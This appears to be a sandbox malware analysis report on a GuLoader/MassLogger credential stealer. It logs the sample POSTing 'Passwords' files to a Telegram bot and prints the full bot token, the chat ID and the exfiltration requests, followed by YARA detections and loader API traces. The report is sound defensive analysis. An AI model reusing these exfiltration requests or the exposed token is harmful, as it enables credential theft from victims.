2025-01-10 19:10:39 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 33 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 36 32 33 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43532,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736536239,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49893	149.154.167.220	443	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:10:42 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd324c62a360f6 Host: api.telegram.org Content-Length: 1090
2025-01-10 19:10:42 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 34 63 36 32 61 33 36 30 66 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd324c62a360f6Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:10:42 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:10:42 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 19:10:42 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 33 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 36 32 34 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43533,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736536242,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49906	149.154.167.220	443	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:10:44 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd325f5cb5c2ed Host: api.telegram.org Content-Length: 1090
2025-01-10 19:10:44 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 35 66 35 63 62 35 63 32 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd325f5cb5c2edContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:10:44 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:10:44 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 19:10:44 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 33 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 36 32 34 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43534,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736536244,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49956	149.154.167.220	443	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:10:51 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32b9716ee95a Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 19:10:51 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 62 39 37 31 36 65 65 39 35 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32b9716ee95aContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:10:52 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:10:52 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 19:10:52 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 33 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 36 32 35 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43535,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736536252,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49978	149.154.167.220	443	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:10:54 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32debd1abcef Host: api.telegram.org Content-Length: 1090
2025-01-10 19:10:54 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 64 65 62 64 31 61 62 63 65 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32debd1abcefContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:10:55 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:10:55 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 19:10:55 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 33 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 36 32 35 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43536,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736536255,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	50000	149.154.167.220	443	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:10:58 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32ffdcc81d2f Host: api.telegram.org Content-Length: 1090
2025-01-10 19:10:58 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 66 66 64 63 63 38 31 64 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32ffdcc81d2fContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:10:58 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:10:58 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 19:10:58 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 33 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 36 32 35 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43537,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736536258,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	50006	149.154.167.220	443	4932	C:\Users\user\Desktop\ppISxhDcpF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:11:00 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd331a3d88592d Host: api.telegram.org Content-Length: 1090
2025-01-10 19:11:00 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 31 61 33 64 38 38 35 39 32 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd331a3d88592dContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:11:00 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:11:00 GMT Content-Type: application/json Content-Length: 546 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 19:11:00 UTC	546	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 33 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 36 32 36 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43538,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736536260,"document":{"file_n

Target ID:	0
Start time:	14:08:58
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\ppISxhDcpF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ppISxhDcpF.exe"
Imagebase:	0x400000
File size:	408'037 bytes
MD5 hash:	E64FAF30918D71691DFDE574DD5A6FCB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.1991339210.00000000035CA000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:09:50
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\ppISxhDcpF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ppISxhDcpF.exe"
Imagebase:	0x400000
File size:	408'037 bytes
MD5 hash:	E64FAF30918D71691DFDE574DD5A6FCB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000005.00000002.2734788636.000000003582B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2734788636.000000003582B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000005.00000002.2734788636.000000003582B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000005.00000002.2709490272.000000000225A000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.4%
Dynamic/Decrypted Code Coverage:	14%
Signature Coverage:	25.2%
Total number of Nodes:	1505
Total number of Limit Nodes:	45

Executed Functions

Function 004032A0 Relevance: 89.7, APIs: 32, Strings: 19, Instructions: 401
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004032C2
GetVersion.KERNEL32 ref: 004032C8
#17.COMCTL32(00000007,00000009,SETUPAPI,USERENV,UXTHEME), ref: 00403318
OleInitialize.OLE32(00000000), ref: 0040331F
SHGetFileInfoW.SHELL32(0042B228,00000000,?,000002B4,00000000), ref: 0040333B
GetCommandLineW.KERNEL32(00433F00,NSIS Error), ref: 00403350
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\ppISxhDcpF.exe",00000000), ref: 00403363
CharNextW.USER32(00000000,"C:\Users\user\Desktop\ppISxhDcpF.exe",?), ref: 0040338A

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,?,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 004034C5
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004034D6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034E2
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034F6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004034FE
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 0040350F
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403517
DeleteFileW.KERNELBASE(1033), ref: 0040352B

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

OleUninitialize.OLE32(?), ref: 004035F6
ExitProcess.KERNEL32 ref: 00403618
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\ppISxhDcpF.exe",00000000,?), ref: 0040362B
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\ppISxhDcpF.exe",00000000,?), ref: 0040363A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\ppISxhDcpF.exe",00000000,?), ref: 00403645
